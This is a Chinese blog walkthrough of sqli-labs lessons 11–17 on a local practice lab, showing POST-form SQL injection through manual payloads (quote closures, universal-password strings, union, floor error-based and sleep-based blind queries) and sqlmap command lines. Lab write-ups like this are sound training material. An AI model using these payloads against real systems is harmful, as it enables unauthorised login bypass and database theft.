sqli-labs11-17(手注+sqlmap)


這幾關涉及到的都是post型data處注入,和get型的差別就是注入點的測試處不一樣,方法都是一樣的

0x01 sqli-labs less-11

1.手工

由於是post型注入,那么我們不能在url處輸入,我們在下面表單處輸入數據,才是post型的data請求部分,也可以通過抓包,對data部分進行sql語句注入

我們在username處輸入1',password處任意輸入,發現報sql語句錯誤

 

 

那么username處存在sql注入,我們跟上注釋 --+,發現回顯報錯,跟上#,發現回顯正常,那么成功閉合

’order by 3#  報錯,‘order by 2# 正常顯示

查詢數據庫’union select database(),2#

后面操作跟第一關一樣

2.sqlmap注入

用burp抓包,然后,sqlmap需跟上data部分的數據

sqlmap語句:

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/?id=1" --data "uname=1&passwd=11&submit=Submit"
--technique UES 
--dbms mysql --dbs --threads 8

其中的:

--data:后面可以加上數據段(post/get類型的都是可以的)

--threads:最大並發線程,盲注時每個線程獲取一個字符(7此請求),獲取完成后線程結束,默認為1,建議不要超過10,否則可能影響站點可用性

 

 這里不加--batch是有原因的,因為的有個選項要選擇no

 

 不然很慢

0x02 sqli-labs less-12

1.手注

用戶名處輸入1’,pssword處任意輸入,沒有報錯,輸入1“,報錯,那么應該是雙引號報錯

加上#注釋,還是報錯,沒有閉合,看看報錯信息發現有括號,

 

 

 

 那么加上括號,username為:1")#,密碼任意輸入,正確回顯,然后試試union select,

 

 

 之后常規操作

2.sqlmap注入

將我們手工試出來的除了注釋符的閉合規則(萬能密碼)填入到data里面相應的參數中

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-12/?id=1" --data "uname=")or ("1")=("1&passwd=1")or("1")=("1&submit=Submit" --technique US --dbms mysql --dbs --threads 8

 

0x03 sqli-labs less-13

1.手注

閉合規則為:')#

輸入')union select 1,2#,發現沒有顯示位,但是有報錯信息,因此采用floor報錯注入

后面報錯注入的常規操作

2.sqlmap注入

需要在data中的兩個參數輸入注入規則的萬能密碼,破解更快

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-13/?id=1" --data "uname=‘)or(‘1‘)=(‘1 &passwd=‘)or(‘1‘)=(‘1&submit=Submit" --dbs --threads 8  --technique E --dbms mysql

0x04 sqli-labs less-14

1.手注

輸入”,報sql錯誤,輸入“#成功閉合,因此閉合規則為:"#

在規則里面寫入union select 1,2,正確查詢沒有顯示,只會報錯,因此同樣采用報錯注入

后面常規報錯注入操作

2.sqlmap注入

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-14/?id=1" --data "uname=1&passwd=1&submit=Submit" --dbs --threads 8 --technique E --dbms mysql

 

0x05 sqli-labs less-15

1.手注

沒有報錯信息,試試1’and sleep(5)#也不行

應該是要登錄用戶名正確才行,試試admin'and sleep(5)#,發現延時5秒

參考第9關時間盲注的操作

2.sqlmap注入

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-15/?id=1" --data "uname=admin'or'1'='1&passwd='or'1'='1&submit=Submit" --current-db --threads 8 --technique T
或者
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-15/?id=1" --data "uname=admin&passwd=1&submit=Submit" --current-db --threads 8 --technique T

0x06 sqli-labs less-16

將閉合規則的‘換成“,后面操作同15關

0x07 sqli-labs less-17

1.手注

單雙引號在user name里面沒有報錯,那么看源碼

 

 

沒有對password進行檢查,但是先檢查的是uname,因此我們用戶名必須正確,這里選擇爆破,爆出用戶名。這里用戶名是admin

那么用戶名處填入admin,密碼處填入’報錯,填入’#,正常顯示,正常顯示沒有回顯位,因此采用floor報錯注入

構造語句:’ and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a)#

 

 后面報錯注入的常規操作

2.sqlmap注入

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-17/" --data "uname=admin&passwd=password&submit=Submit" --current-db --threads 8 --technique E

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM